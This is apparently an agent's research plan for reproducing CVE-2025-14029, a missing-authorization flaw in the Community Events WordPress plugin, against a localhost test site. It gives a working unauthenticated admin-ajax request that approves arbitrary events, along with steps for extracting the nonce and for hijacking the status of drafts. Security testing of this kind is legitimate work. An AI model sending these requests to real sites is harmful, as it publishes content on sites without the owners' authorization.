Community Events <= 1.5.6 - Missing Authorization to Unauthenticated Arbitrary Event Approval via 'eventlist' Parameter

This research plan outlines the steps to investigate and exploit CVE-2025-14029 in the Community Events WordPress plugin.

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1. Vulnerability Summary

The Community Events plugin (up to version 1.5.6) contains a missing authorization vulnerability in its AJAX handler for event approval. Specifically, the function ajax_admin_event_approval() is registered for both authenticated and unauthenticated users (via wp_ajax_nopriv_) but fails to implement a capability check (like current_user_can('manage_options')). This allows an unauthenticated attacker to change the status of any event to "approved" (published) by providing the event ID through the eventlist parameter.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: admin_event_approval (inferred from function name)
• Parameter: eventlist (The event ID or IDs to be approved)
• Authentication: None required (unauthenticated)
• Preconditions: An event must exist in a state other than "publish" (e.g., pending or draft).

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX action:
   add_action('wp_ajax_admin_event_approval', 'ajax_admin_event_approval');
add_action('wp_ajax_nopriv_admin_event_approval', 'ajax_admin_event_approval');
2. Execution: When a request is sent to admin-ajax.php?action=admin_event_approval:
   • ajax_admin_event_approval() is called.
   • The code likely retrieves $_POST['eventlist'].
   • The code may or may not check a nonce (e.g., check_ajax_referer).
   • Crucially: The code omits current_user_can().
3. Sink: The function iterates through the IDs provided in eventlist and updates the post status using wp_update_post() or a direct $wpdb query to set the status to publish.

4. Nonce Acquisition Strategy

While the vulnerability is "Missing Authorization," WordPress AJAX handlers often include a nonce for CSRF protection. If the plugin uses check_ajax_referer, a nonce must be obtained.

1. Identify Shortcode/Page: Community Events typically uses shortcodes to display event submission forms or lists. Look for shortcodes like [community_events] or [submit_event].
   • Search Command: grep -rn "add_shortcode" /var/www/html/wp-content/plugins/community-events/
2. Create Discovery Page:
   wp post create --post_type=page --post_status=publish --post_title="Events" --post_content='[SHORTCODE_FOUND]'
3. Extract Nonce:
   Navigate to the newly created page and look for localized scripts.
   • Target JS Variable: Likely named something like community_events_params or ce_ajax_obj.
   • Browser Eval: browser_eval("window.ce_ajax_obj?.nonce") (inferred key).

5. Exploitation Strategy

Step 1: Create a Pending Event
As an unauthenticated user or subscriber, create a pending event to test the approval logic.
wp post create --post_type=event --post_status=pending --post_title="Malicious Event" --post_author=1
Note: The post type may be event, ce_event, etc. Verify via wp post-type list.

Step 2: Send Exploit Request
Use the http_request tool to trigger the approval.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=admin_event_approval&eventlist=EVENT_ID&security=NONCE_VALUE
  

  (Note: The nonce parameter name might be security, nonce, or _wpnonce. This should be verified during the code audit phase.)

6. Test Data Setup

1. Plugin Version: Ensure Community Events <= 1.5.6 is installed.
2. Unapproved Event: Create a post that is NOT published.

   # Identify the correct post type first
   wp post-type list
   # Create the pending event
   wp post create --post_type=event --post_status=pending --post_title="Unauthorized Event"
   

3. Note the ID: Capture the ID of the created post for the eventlist parameter.

7. Expected Results

• HTTP Response: A success code (e.g., 1, {"success":true}, or a redirect).
• System State: The post with the ID provided in eventlist will have its post_status changed from pending to publish.

8. Verification Steps

After sending the HTTP request, verify the status via WP-CLI:

wp post get <EVENT_ID> --field=post_status

If the output is publish, the exploit was successful.

9. Alternative Approaches

• Bulk Approval: Attempt to approve multiple events at once: eventlist=101,102,103.
• Status Hijacking: If the eventlist parameter doesn't validate the post type, try approving standard post or page drafts: eventlist=1 (where 1 is a draft page).
• Parameter Polling: If eventlist is not the correct parameter name, check the source code of ajax_admin_event_approval() for other inputs like post_id, id, or events.